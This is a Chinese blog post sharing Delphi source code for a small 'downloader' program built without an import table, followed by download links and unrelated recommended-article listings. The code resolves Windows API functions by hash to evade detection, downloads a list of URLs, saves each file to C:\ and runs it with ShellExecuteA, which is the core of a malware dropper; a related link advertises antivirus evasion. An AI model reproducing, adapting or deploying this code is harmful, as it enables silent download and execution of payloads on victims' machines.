[源码]Delphi 5KB无输入表下载者源码

PROGRAM Fun;

type
DWORD = LongWord;
THandle = LongWord;
BOOL = LongBool;
LPCSTR = PAnsiChar;
HINTERNET = Pointer;
FARPROC = Pointer;
PShortString = ^ShortString;
PLongint = ^Longint;
HRESULT = type Longint; { from WTYPES.H } PGUID = ^TGUID;
TGUID = packed record
D1: LongWord;
D2: Word;
D3: Word;
D4: array[0..7] of Byte;
end; PSecurityAttributes = ^TSecurityAttributes;
_SECURITY_ATTRIBUTES = record
nLength: DWORD;
lpSecurityDescriptor: Pointer;
bInheritHandle: LongBool;
end; TSecurityAttributes = _SECURITY_ATTRIBUTES;
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES; POverlapped = ^TOverlapped;
_OVERLAPPED = record
Internal: DWORD;
InternalHigh: DWORD;
Offset: DWORD;
OffsetHigh: DWORD;
hEvent: THandle;
end;
TOverlapped = _OVERLAPPED;
OVERLAPPED = _OVERLAPPED; CONST
Dw_ShellExecuteA = $EB7C1488;
Dw_ShellExecuteW = $1FA8A1D9;
Dw_URLDownloadToFileA = $1E30F2EA;
Dw_StrStrA = $0A62DA9E;
Dw_lstrlenA = $E90E2A0C;
Dw_lstrcpyA = $AE03DF57;
Dw_lstrcpynA = $3464616E;
Dw_StrDupA = $F458BD0D;
Dw_StrNCatA = $8DB90EA6;
Dw_CreateFileA = $553B5C78;
Dw_ReadFile = $095C03D0;
Dw_CloseHandle = $B09315F4; S_OK = $00000000;
ERROR = 0;
INTERNET_OPEN_TYPE_PRECONFIG = 0;
HTTP_QUERY_RAW_HEADERS_CRLF = 22;
MAX_PATH = 260;
GENERIC_READ = DWORD($80000000);
FILE_SHARE_READ = $00000001;
OPEN_EXISTING = 3;
FILE_ATTRIBUTE_NORMAL = $00000080; DwUrl = 'http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------'; VAR
LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
CloseHandle:function(hObject: THandle): BOOL; stdcall; function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
begin
Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
end; procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
begin
lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
end; function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
asm
PUSH EDI
PUSH ESI
PUSH EBX
MOV ESI,EAX
MOV EDI,EDX
MOV EBX,ECX
XOR AL,AL
TEST ECX,ECX
JZ @@1
REPNE SCASB
JNE @@1
INC ECX
@@1: SUB EBX,ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,EDI
MOV ECX,EBX
SHR ECX,2
REP MOVSD
MOV ECX,EBX
AND ECX,3
REP MOVSB
STOSB
MOV EAX,EDX
POP EBX
POP ESI
POP EDI
end; function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
begin
Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
end; var
I:Integer;
BinaryFile: LongWord;
dwBytesRead: DWORD;
szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
FBuf:Array[0..2048] of AnsiChar;
PosTxt:PAnsiChar; kernel32,shlwapi:LongWord;
begin
BuildCRC32Table;
@LoadLibrary:=MyLoadLibraryA;
kernel32 := LoadLibrary('kernel32.dll');
shlwapi := LoadLibrary('shlwapi.dll');
@ShellExecuteA:=GetProcAddress(LoadLibrary('shell32.dll'),Dw_ShellExecuteA);
@URLDownloadToFileA:=GetProcAddress(LoadLibrary('UrlMon.dll'),Dw_URLDownloadToFileA);
@StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
@StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
@StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
@lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
@lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
@lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
@CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
@ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
@CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle); lstrcpyA(szBuffer, DwUrl);
DwDelete(szBuffer, DwPos(szBuffer,'|')+1, 100);
I:= DwPos(DwUrl,'|')+1;
lstrcpynA(szBuffer,DwUrl,I);
if URLDownloadToFileA(nil,szBuffer,'c:\k8down.jpg', 0, nil)= S_OK then
begin
BinaryFile := CreateFileA('c:\k8down.jpg', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
if (dwBytesRead > 0) then
begin
closehandle(BinaryFile);
end;
while (DwPos(FBuf,'//') <> 0) and (DwPos(FBuf,'|') <> 0) do
begin
if (DwPos(FBuf,'|') < 6) then Break;
I:=DwPos(FBuf,'|')+1;
lstrcpynA(Temp,FBuf,I);
DwDelete(FBuf,1, I + 2);
DwStrPCopy(NewDir,'C:\');
PosTxt:=StrDupA(Temp);
DwDelete(PosTxt, 1, 7);
while (DwPos(PosTxt,'/') > 0) do
begin
DwDelete(PosTxt, 1, DwPos(PosTxt,'/')+1);
end;
StrNCatA(NewDir,PosTxt,-1);
if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
begin
ShellExecuteA(0,'open',NewDir,nil,nil,5);
end;
end;
end;
end.

完整程序源码如下:

https://github.com/k8gege/K8tools/raw/master/Delphi%205KB%E6%97%A0%E8%BE%93%E5%85%A5%E8%A1%A8%E4%B8%8B%E8%BD%BD%E8%80%85%E6%BA%90%E7%A0%81_0105%5BK8%5D.rar

https://download.csdn.net/download/qq396890445/6812539

[源码]Delphi 5KB无输入表下载者的更多相关文章

  1. 2014年最新720多套Android源码2.0GB免费一次性打包下载

    之前发过一个帖子,但是那个帖子有点问题我就重新发一个吧,下面的源码是我从今年3月份开始不断整理源码区和其他网站上的android源码,目前总共有720套左右,根据实现的功能被我分成了100多个类,总共 ...

  2. [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者

    [免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21         来源:K8拉登哥哥's Blog   自己编译这份代码看看 过N多杀软  没什么技 ...

  3. 转--2014年最新810多套android源码2.46GB免费一次性打包下载

    转载自:http://www.eoeandroid.com/thread-497046-1-1.html 感谢该博客主人无私奉献~~ 下面的源码是从今年3月份开始不断整理源码区和其他网站上的安卓例子源 ...

  4. Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址

     OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...

  5. easyui源码翻译1.32--Form(表单)

    前言 使用$.fn.form.defaults重写默认值对象下载该插件翻译源码 form提供了各种方法来操作执行表单字段,比如:ajax提交, load, clear等等.当提交表单的时候可以调用va ...

  6. [转]数据库中间件 MyCAT源码分析——跨库两表Join

    1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 BatchSQLJob 3.4 ShareDBJo ...

  7. 【一起学源码-微服务】Nexflix Eureka 源码八:EurekaClient注册表抓取 精妙设计分析!

    前言 前情回顾 上一讲 我们通过单元测试 来梳理了EurekaClient是如何注册到server端,以及server端接收到请求是如何处理的,这里最重要的关注点是注册表的一个数据结构:Concurr ...

  8. Python源码剖析|百度网盘免费下载|Python新手入门|Python新手学习资料

    百度网盘免费下载:Python源码剖析|新手免费领取下载 提取码:g78z 目录  · · · · · · 第0章 Python源码剖析——编译Python0.1 Python总体架构0.2 Pyth ...

  9. 【雷神源码解析】无基础看懂AAC码流解析,看不懂你打我

    一 前言 最近在尝试学习一些视频相关的知识,随便一搜才知道原来国内有雷神这么一个真正神级的人物存在,尤其是在这里(传送门)看到他的感言更是对他膜拜不已,雷神这种无私奉献的精神应当被我辈发扬光大.那写这 ...

随机推荐

  1. day40 mysql数据类型

    复习 1.环境的搭建 2.启动服务 3.库,表,字段的基本操作 create show drop alter desc insert into select from update set delet ...

  2. [leetcode]54. Spiral Matrix螺旋矩阵

    Given a matrix of m x n elements (m rows, n columns), return all elements of the matrix in spiral or ...

  3. 改变this的指向问题;

    用call()和apply()改变this的指向,那什么时候用this呢?(构造函数),那为什么要用构造函数呢?(为了生成对象). 1.解决函数内this指向的问题 (1)var that/_this ...

  4. Spring源码-循环依赖源码解读

    Spring源码-循环依赖源码解读 笔者最近无论是看书还是从网上找资料,都没发现对Spring源码是怎么解决循环依赖这一问题的详解,大家都是解释了Spring解决循环依赖的想法(有的解释也不准确,在& ...

  5. linux学习 (Linux就该这么学)

    明天周五了,7点准时上课,加油努力学习,12月份要考试了,心里没有底,加油吧!感觉要学的真多,! redhat7,,安装图形界面  yum install -y

  6. centos7 mysql的安装与配置

    用yum直接安装,不用更改配置 1. #yum install mysql #yum install mysql-server #yum install mysql-devel yum运行报错的化有可 ...

  7. 相对于父元素的fixed定位的实现

    问题描述 之前在项目中,遇到了一个场景,需要实现相对于父元素的fixed定位:在父元素内拖动滚动条时,"fixed"定位的元素不能滑动,在外层拖动滚动条时,父元素及父元素内的所有元 ...

  8. 编译搭建lnmp+zabbix

    搭建nginx 1)基础依赖包安装 yum -y install gcc gcc-c++ vim tree make cmake autoconf yum -y install openssl ope ...

  9. # 2019-2020.3 《java程序设计》第一周学习总结

    2019-2020-3 <Java 程序设计>第一周学习总结 在本周的学习中,学习到了好多也收获了好多,从最基础的安装虚拟机开始,根据老师的博客中的教程一步一步的进行,在这过程中也遇到了好 ...

  10. 关于java poi itext生成pdf文件的例子以及方法

    最近正在做导出pdf文件的功能,所以查了了一些相关资料,发现不是很完善,这里做一些小小的感想,欢迎各位“猿”童鞋批评指正. poi+itext,所需要的jar包有itext-2.1.7.jar,poi ...